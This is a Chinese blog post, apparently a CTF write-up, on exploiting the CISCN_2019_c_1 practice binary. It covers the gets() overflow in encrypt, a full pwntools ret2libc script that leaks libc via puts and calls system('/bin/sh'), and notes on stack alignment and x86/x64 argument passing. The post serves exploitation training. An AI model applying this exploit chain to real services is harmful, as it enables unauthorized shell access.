Eureka's Studio.

(Libc泄露)CISCN_2019_c_1

2023/10/31

自己写的exp、破题的思路和网上的都不一样 虽然就是个小破题 但是打通的那一刻真的超级开心

[Libc泄漏]CISCN_2019_c_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-4h]

init();
puts("EEEEEEE hh iii ");
puts("EE mm mm mmmm aa aa cccc hh nn nnn eee ");
puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e ");
puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee ");
puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee ");
puts("====================================================================");
puts("Welcome to this Encryption machine\\\\n");
begin();
while ( 1 )
{
while ( 1 )
{
fflush(0LL);
v4 = 0;
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 != 2 )
break;
puts("I think you can do it by yourself");
begin();
}
if ( v4 == 3 )
{
puts("Bye!");
return 0;
}
if ( v4 != 1 )
break;
encrypt();
begin();
}
puts("Something Wrong!");
return 0;
}

main函数里面没什么有价值的东西(我甚至一度怀疑这是个re main就是个表单选择 我们要进入encrypt函数 看到了gets 熟悉的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
int encrypt()
{
size_t v0; // rbx
char s[48]; // [rsp+0h] [rbp-50h]
__int16 v3; // [rsp+30h] [rbp-20h]

memset(s, 0, sizeof(s));
v3 = 0;
puts("Input your Plaintext to be encrypted");
gets(s);
while ( 1 )
{
v0 = (unsigned int)x;
if ( v0 >= strlen(s) )
break;
if ( s[x] <= 96 || s[x] > 122 )
{
if ( s[x] <= 64 || s[x] > 90 )
{
if ( s[x] > 47 && s[x] <= 57 )
s[x] ^= 0xFu;
}
else
{
s[x] ^= 0xEu;
}
}
else
{
s[x] ^= 0xDu;
}
++x;
}
puts("Ciphertext");
return puts(s);
}

按我的感觉 在我们布局好之后 我们会劫持gets的返回地址 那么并不会进入到while里 然而事实上 布局好了之后还是会输出Ciphertext

1
2
3
4
5
6
payload = 'a' * 0x58
payload += p64(pop_rdi_addr)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)
#具体为什么这样布局后面说

那就不知道了 可能那个gets是在while里面的吧 那只能当作会进到while里面了 那么需要用\x00进行截断 导致len=0 逃逸异或 可能以后做这种题目保险都会加个\x00了 并且还要注意 encrypt函数结束时还调用了puts(s) 虽然在他眼里s为空 但是他还会打印一个换行符 所以我们得这样

1
2
sh.recvuntil(b"Ciphertext\\\\n")
sh.recvuntil(b"\\\\n")

对于本题而言 我们需要泄漏libc_start_main的地址 也就是利用got表 当然利用函数是puts 这个函数在之前就已经经过plt调用了 这题主要是一些小细节 比如recvuntil sendlineafter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import LibcSearcher
sh = process("./ciscn_2019_c_1")
#sh = remote("node4.buuoj.cn",28291)
c_1 = ELF("./ciscn_2019_c_1")
puts_plt = c_1.plt['puts']
puts_got = c_1.got['puts']
libc_start_main_got = c_1.got['__libc_start_main']
start_addr = c_1.symbols['_start']
main_addr = c_1.symbols['main']
pop_rdi_addr = 0x0400c83
ret = 0x4006b9

sh.sendlineafter('Input your choice',b'1')

payload ='\\\\x00'
payload += 'a' * 0x57
payload += p64(pop_rdi_addr)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)

sh.recvuntil(b"Input your Plaintext to be encrypted\\\\n")
sh.sendline(payload)
sh.recvuntil(b"Ciphertext\\\\n")
sh.recvuntil(b"\\\\n")

libc_start_main_addr = u64(sh.recvline()[:-1].ljust(8,b'\\\\0'))
libc = LibcSearcher('__libc_start_main',libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump("str_bin_sh")

payload = '\\\\x00'
payload += 'a' * 0x57
payload += p64(ret)
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

sh.sendlineafter('Input your choice',b'1')
sh.recvuntil(b"Input your Plaintext to be encrypted\\\\n")
sh.sendline(payload)
sh.interactive()

还有一个问题就是栈平衡问 在最后调用system的时候 如果是Ubuntu18 那么需要考虑栈平衡问题 最后在padding之后要注意加1到2个ret

1
2
$ ropgadget --binary '/Users/apple/Desktop/ciscn_2019_c_1' | grep ret
0x00000000004006b9 : ret

还有一个问题就是关于传参了 对于32位而言 所需参数的传入是在返回地址之后的 俗称的栈传参 如下所示

1
2
3
4
payload = flat(['A' * 112, system_addr, 0xdeadbeef, binsh_addr])
system_addr是构造需要执行的
0xdeadbeef是随便的一个system_addr的返回地址 因为还需要一个参数传入
binsh_addr相当于system_addr的参数

而对于64位而言 传入的首个参数为rdi寄存器 第二个是rsi寄存器 第三个是rdx寄存器 只有6个寄存器都满了之后 才会考虑使用栈传参

1
2
3
4
5
6
rdi, rsi, rdx, rcx, r8, r9
payload = 'a' * 0x58
payload += p64(pop_rdi_addr)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)

然后是对输出处理 这时候体现了debug模式的重要性 也是在这里发现了有两个0x0a换行符 我们发现地址只有6个字节 但是我们u64需要8个 于是使用ljust(8,’\0’)来补齐

CATALOG
  1. 1. [Libc泄漏]CISCN_2019_c_1